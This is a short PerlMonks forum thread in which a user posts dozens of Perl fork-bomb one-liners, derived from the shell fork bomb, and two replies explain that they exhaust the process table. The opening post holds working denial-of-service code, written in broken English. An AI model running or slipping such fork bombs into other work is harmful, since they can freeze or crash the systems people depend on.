cristian has asked for the wisdom of the Perl Monks concerning the following question:

I do something probe the follow: Bombs Bombs and Bombs

The code prompted of insufficient memory by execution of parallel process
The follow code show optional loops with fork()
Note:Warning with execution of this code
This all is derived of the _(){ _|_& };_| in shell
fork and system $0; system $0 and fork; open _,"$0|" and fork; mas fork and open _,"$0|"; menos open _,"_(){ _|_& };_|" {fork && redo}
_:{fork and _ and redo} $_=sub {fork and $_->()};$_->(); sub _{fork and &_}_;
fork while 1; do fork while 1; _: while (1) {fork and redo _;} while (1) {fork} continue {fork}
fork and redo for ::; fork and redo foreach ::; for (;;) {fork} foreach (;;) {fork} _: for (;;) {fork and next _;} _: foreach (;;) {fork and next _;}
fork until !1; do fork until !1 ; until (!1) {fork} do fork until !1; _: do fork and next _ until !1;

Replies are listed 'Best First'.
Re: Forking loop will never end
by Zaxo (Archbishop) on Apr 25, 2005 at 21:40 UTC

    That's quite a collection of fork bomb shrapnel. Without seeing the subsequent code or the SIGCHLD handler, it's hard to say whether the zombies will continue to tie up pids. Most users have a limit on the number of processes they can have open.

    What was the question again?

    After Compline,

      This test and validate the follow points: Speed Variety Perdormance Syntax Stability Only luxury of perl language.
Re: Forking loop will never end
by graff (Chancellor) on Apr 26, 2005 at 00:59 UTC
    If you run any of the examples shown in the OP, you are necessarily running an infinite loop where each iteration of the loop spawns a new process (and in many of the examples, the spawned process will also start a similar infinite loop, spawning more processes). There is nothing in any of those examples that causes processes to finish, or causes an exit from the loop.

    Eventually (in fact, very quickly), the process table on any sort of *n*x system will get filled to capacity and nothing else can happen till processes start to die off (or the system is abruptly shut off and rebooted).

    I presume that something similar would happen with any sort of windows system.

    Were you expecting that something different should happen instead? Why are you trying examples like that?

    And, what was your question, exactly?